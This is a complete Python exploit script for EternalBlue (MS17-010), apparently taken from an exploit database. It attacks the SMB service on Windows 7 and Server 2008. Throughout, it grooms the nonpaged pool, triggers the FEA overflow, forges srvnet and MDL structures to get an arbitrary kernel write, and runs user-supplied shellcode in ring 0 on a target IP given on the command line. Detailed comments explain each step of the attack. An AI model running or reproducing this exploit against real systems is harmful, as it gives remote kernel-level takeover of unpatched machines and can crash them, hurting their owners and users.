Microsoft Windows 7/2008 R2 – ‘EternalBlue’ SMB Remote Code Execution (MS17-010)
#!/usr/bin/python from impacket import smb from struct import pack import sys import socket ''' EternalBlue exploit for Windows 7/2008 by sleepya The exploit might FAIL and CRASH a target system (depended on what is overwritten) EDB Note: Shellcode - x64 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42030.asm - x86 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42031.asm Tested on: - Windows 7 SP1 x64 - Windows 2008 R2 SP1 x64 - Windows 7 SP1 x86 - Windows 2008 SP1 x64 - Windows 2008 SP1 x86 Reference: - http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ Bug detail: - For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ - The exploit also use other 2 bugs (see details in BUG.txt) - Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug) - Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole) ###### Exploit info: - I do not reverse engineer any x86 binary so I do not know about exact offset. - The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode. This memory page is executable on Windows 7 and Wndows 2008. - The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64. - The exploit trick is same as NSA exploit - The overflow is happened on nonpaged pool so we need to massage target nonpaged pool. - If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5) - See the code and comment for exploit detail. srvnet buffer info: - srvnet buffer contains a pointer to another struct and MDL about received buffer - Controlling MDL values results in arbitrary write - Controlling pointer to fake struct results in code execution because there is pointer to function - A srvnet buffer is created after target receiving first 4 bytes - First 4 bytes contains length of SMB message - The possible srvnet buffer size is "..., 0x9000, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough. - After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message - SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler() - SrvNetCommonReceiveHandler() passes SMB message to SMB handler - If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode - If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called - Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen. - Memory leak is ok to be ignored Shellcode note: - Shellcode is executed in kernel mode (ring 0) and IRQL is DISPATCH_LEVEL - Hijacking system call is common method for getting code execution in Process context (IRQL is PASSIVE_LEVEL) - On Windows x64, System call target address can be modified by writing to IA32_LSTAR MSR (0xc0000082) - IA32_LSTAR MSR scope is core/thread/unique depended on CPU model - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to get call because it is called on other processors - Shellcode should be aware of double overwriting system call target address when using hijacking system call method - Then, using APC in Process context to get code execution in userland (ring 3) #E-DB Note: https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a #E-DB Note: https://github.com/worawit/MS17-010/blob/eafb47d715fe38045c9ea6dc4cb75ca0ef5487ce/eternalblue_exploit7.py ''' # Note: see how to craft FEALIST in eternalblue_poc.py # wanted overflown buffer size (this exploit support only 0x10000 and 0x11000) # the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time # the size 0x11000 is used in nsa exploit. this size is more reliable. NTFEA_SIZE = 0x11000 # the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600 # with these fea, ntfea size is 0x1c20 ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0 ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 } ''' Reverse from srvnet.sys (Win7 x64) - SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete(): // for x64 struct SRVNET_BUFFER { // offset from POOLHDR: 0x10 USHORT flag; char pad[2]; char unknown0[12]; // offset from SRVNET_POOLHDR: 0x20 LIST_ENTRY list; // offset from SRVNET_POOLHDR: 0x30 char *pnetBuffer; DWORD netbufSize; // size of netBuffer DWORD ioStatusInfo; // copy value of IRP.IOStatus.Information // offset from SRVNET_POOLHDR: 0x40 MDL *pMdl1; // at offset 0x70 DWORD nByteProcessed; DWORD pad3; // offset from SRVNET_POOLHDR: 0x50 DWORD nbssSize; // size of this smb packet (from user) DWORD pad4; QWORD pSrvNetWskStruct; // want to change to fake struct address // offset from SRVNET_POOLHDR: 0x60 MDL *pMdl2; QWORD unknown5; // offset from SRVNET_POOLHDR: 0x70 // MDL mdl1; // for this srvnetBuffer (so its pointer is srvnetBuffer address) // MDL mdl2; // char transportHeader[0x50]; // 0x50 is TRANSPORT_HEADER_SIZE // char netBuffer[0]; }; struct SRVNET_POOLHDR { DWORD size; char unknown[12]; SRVNET_BUFFER hdr; }; ''' # Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing # Here is the important fields on x64 # - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request. # The value MUST point to valid (might be fake) struct. # - offset 0x70 (MDL) : MDL for describe receiving SMB request buffer # - 0x70 (VOID*) : MDL.Next should be NULL # - 0x78 (USHORT) : MDL.Size should be some value that not too small # - 0x7a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL) # - 0x80 (VOID*) : MDL.Process should be NULL # - 0x88 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write. # The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit). # # # To free the corrupted srvnet buffer, shellcode MUST modify some memory value to satisfy condition. # Here is related field for freeing corrupted buffer # - offset 0x10 (USHORT): be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside) # a corrupted buffer MUST not be reused. # - offset 0x48 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0 # before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to # your shellcode as function argument # - offset 0x60 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set # The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret". # Here is x64 assembly code for setting nByteProcessed field # - fetch SRVNET_BUFFER address from function argument # \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40] # - set nByteProcessed for trigger free after return # \x8b\x4a\x2c mov ecx, [rdx+0x2c] # \x89\x4a\x38 mov [rdx+0x38], ecx TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010 TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000 fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2 fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2 fakeSrvNetBufferNsa += '\x00'*16 fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20) fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # x64 pmdl2 # below 0x20 bytes is overwritting MDL # NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa # below is for targeting x64 only (all x86 related values are set to 0) # this is for show what fields need to be modified fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2 fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0) fakeSrvNetBufferX64 += '\x00'*16 fakeSrvNetBufferX64 += '\x00'*16 fakeSrvNetBufferX64 += '\x00'*16 # 0x40 fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2 fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa fakeSrvNetBuffer = fakeSrvNetBufferNsa #fakeSrvNetBuffer = fakeSrvNetBufferX64 feaList = pack('<I', 0x10000) # the value of feaList size MUST be >=0x10000 to trigger bug (but must be less than data size) feaList += ntfea[NTFEA_SIZE] # Note: # - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively # - x64: below fea will be copy to offset 0x11000 of overflow buffer # - x86: below fea will be copy to offset 0x10ff8 of overflow buffer feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name # stop copying by invalid flag (can be any value except 0 and 0x80) feaList += pack('<BBH', 0x12, 0x34, 0x5678) # fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler() # x64: fake struct is at ffffffff ffd00010 # offset 0xa0: LIST_ENTRY must be valid address. cannot be NULL. # offset 0x08: set to 3 (DWORD) for invoking ptr to function # offset 0x1d0: KSPIN_LOCK # offset 0x1d8: array of pointer to function # # code path to get code exection after this struct is controlled # SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr fake_recv_struct = pack('<QII', 0, 3, 0) fake_recv_struct += '\x00'*16 fake_recv_struct += pack('<QII', 0, 3, 0) fake_recv_struct += ('\x00'*16)*7 fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself) fake_recv_struct += '\x00'*16 fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY fake_recv_struct += ('\x00'*16)*11 fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86 fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address fake_recv_struct += ('\x00'*16)*3 fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one) def getNTStatus(self): return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass'] setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus) def sendEcho(conn, tid, data): pkt = smb.NewSMBPacket() pkt['Tid'] = tid transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO) transCommand['Parameters'] = smb.SMBEcho_Parameters() transCommand['Data'] = smb.SMBEcho_Data() transCommand['Parameters']['EchoCount'] = 1 transCommand['Data']['Data'] = data pkt.addCommand(transCommand) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: print('got good ECHO response') else: print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus())) def createSessionAllocNonPaged(target, size): # There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool. # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan. # The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size" # Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data. # For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command. # - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication # - GetNtSecurityParameters() function is resposible for extracting data from this packet format # - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication # - GetExtendSecurityParameters() function is resposible for extracting data from this packet format # These 2 formats have different WordCount (first one is 13 and later is 12). # Here is logic in BlockingSessionSetupAndX() related to this bug # - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format) # - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request # - else, process a message as NT Security request # So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY. # With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size". # But GetExtendSecurityParameters() checks ByteCount value again. # So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY. conn = smb.SMB(target, target) _, flags2 = conn.get_flags() # FLAGS2_EXTENDED_SECURITY MUST not be set flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 if size >= 0xffff: flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 else: flags2 |= smb.SMB.FLAGS2_UNICODE reqSize = size conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session # UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: print('SMB1 session setup allocate nonpaged pool success') else: print('SMB1 session setup allocate nonpaged pool failed') return conn # Note: impacket-0.9.15 struct has no ParameterDisplacement ############# SMB_COM_TRANSACTION2_SECONDARY (0x33) class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters): structure = ( ('TotalParameterCount','<H=0'), ('TotalDataCount','<H'), ('ParameterCount','<H=0'), ('ParameterOffset','<H=0'), ('ParameterDisplacement','<H=0'), ('DataCount','<H'), ('DataOffset','<H'), ('DataDisplacement','<H=0'), ('FID','<H=0'), ) def send_trans2_second(conn, tid, data, displacement): pkt = smb.NewSMBPacket() pkt['Tid'] = tid # assume no params transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY) transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed() transCommand['Data'] = smb.SMBTransaction2Secondary_Data() transCommand['Parameters']['TotalParameterCount'] = 0 transCommand['Parameters']['TotalDataCount'] = len(data) fixedOffset = 32+3+18 transCommand['Data']['Pad1'] = '' transCommand['Parameters']['ParameterCount'] = 0 transCommand['Parameters']['ParameterOffset'] = 0 if len(data) > 0: pad2Len = (4 - fixedOffset % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = len(data) transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len transCommand['Parameters']['DataDisplacement'] = displacement transCommand['Data']['Trans_Parameters'] = '' transCommand['Data']['Trans_Data'] = data pkt.addCommand(transCommand) conn.sendSMB(pkt) def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): # Here is another bug in MS17-010. # To call transaction subcommand, normally a client need to use correct SMB commands as documented in # https://msdn.microsoft.com/en-us/library/ee441514.aspx # If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client # can use *_SECONDARY command to send transaction message. When sending a transaction completely with # *_SECONDARY command, a server uses the last command that complete the transaction. # For example: # - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*. # - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*. # # Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same. # For example: # - a client start transaction with SMB_COM_NT_TRANSACT command # - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY # - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY # - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field) # From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction # with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT # While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount # field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx). # Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction) pkt = smb.NewSMBPacket() pkt['Tid'] = tid command = pack('<H', setup) # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug. transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() transCommand['Parameters']['MaxSetupCount'] = 1 transCommand['Parameters']['MaxParameterCount'] = len(param) transCommand['Parameters']['MaxDataCount'] = 0 transCommand['Data'] = smb.SMBTransaction2_Data() transCommand['Parameters']['Setup'] = command transCommand['Parameters']['TotalParameterCount'] = len(param) transCommand['Parameters']['TotalDataCount'] = len(data) fixedOffset = 32+3+38 + len(command) if len(param) > 0: padLen = (4 - fixedOffset % 4 ) % 4 padBytes = '\xFF' * padLen transCommand['Data']['Pad1'] = padBytes else: transCommand['Data']['Pad1'] = '' padLen = 0 transCommand['Parameters']['ParameterCount'] = len(param) transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen if len(data) > 0: pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = firstDataFragmentSize transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len transCommand['Data']['Trans_Parameters'] = param transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] pkt.addCommand(transCommand) conn.sendSMB(pkt) conn.recvSMB() # must be success # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data i = firstDataFragmentSize while i < len(data): # limit data to 4096 bytes per SMB message because this size can be used for all Windows version sendSize = min(4096, len(data) - i) if len(data) - i <= 4096: if not sendLastChunk: break send_trans2_second(conn, tid, data[i:i+sendSize], i) i += sendSize if sendLastChunk: conn.recvSMB() return i # connect to target and send a large nbss size with data 0x80 bytes # this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target # a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten) def createConnectionWithBigSMBFirst80(target): # https://msdn.microsoft.com/en-us/library/cc246496.aspx # Above link is about SMB2, but the important here is first 4 bytes. # If using wireshark, you will see the StreamProtocolLength is NBSS length. # The first 4 bytes is same for all SMB version. It is used for determine the SMB message length. # # After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message. # srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message. # Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too. sk = socket.create_connection((target, 445)) # For this exploit, use size is 0x11000 pkt = '\x00' + '\x00' + pack('>H', 0xfff7) # There is no need to be SMB2 because we got code execution by corrupted srvnet buffer. # Also this is invalid SMB2 message. # I believe NSA exploit use SMB2 for hiding alert from IDS #pkt += '\xfeSMB' # smb2 # it can be anything even it is invalid pkt += 'BAAD' # can be any pkt += '\x00'*0x7c sk.send(pkt) return sk def exploit(target, shellcode, numGroomConn): # force using smb.SMB for SMB1 conn = smb.SMB(target, target) # can use conn.login() for ntlmv2 conn.login_standard('', '') server_os = conn.get_server_os() print('Target OS: '+server_os) if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")): print('This exploit does not support this target') sys.exit() tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand. # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False) # we have to know what size of NtFeaList will be created when last fragment is sent # make sure server recv all payload before starting allocate big NonPaged #sendEcho(conn, tid, 'a'*12) # create buffer size NTFEA_SIZE-0x1000 at server # this buffer MUST NOT be big enough for overflown buffer allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010) # groom nonpaged pool # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one srvnetConn = [] for i in range(numGroomConn): sk = createConnectionWithBigSMBFirst80(target) srvnetConn.append(sk) # create buffer size NTFEA_SIZE at server # this buffer will be replaced by overflown buffer holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10) # disconnect allocConn to free buffer # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer allocConn.get_socket().close() # hope one of srvnetConn is next to holeConn for i in range(5): sk = createConnectionWithBigSMBFirst80(target) srvnetConn.append(sk) # send echo again, all new 5 srvnet buffers should be created #sendEcho(conn, tid, 'a'*12) # remove holeConn to create hole for fea buffer holeConn.get_socket().close() # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header send_trans2_second(conn, tid, feaList[progress:], progress) recvPkt = conn.recvSMB() retStatus = recvPkt.getNTStatus() # retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag if retStatus == 0xc000000d: print('good response status: INVALID_PARAMETER') else: print('bad response status: 0x{:08x}'.format(retStatus)) # one of srvnetConn struct header should be modified # a corrupted buffer will write recv data in designed memory address for sk in srvnetConn: sk.send(fake_recv_struct + shellcode) # execute shellcode by closing srvnet connection for sk in srvnetConn: sk.close() # nicely close connection (no need for exploit) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() if len(sys.argv) < 3: print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0])) sys.exit(1) TARGET=sys.argv[1] numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3]) fp = open(sys.argv[2], 'rb') sc = fp.read() fp.close() print('shellcode size: {:d}'.format(len(sc))) print('numGroomConn: {:d}'.format(numGroomConn)) exploit(TARGET, sc, numGroomConn) print('done') |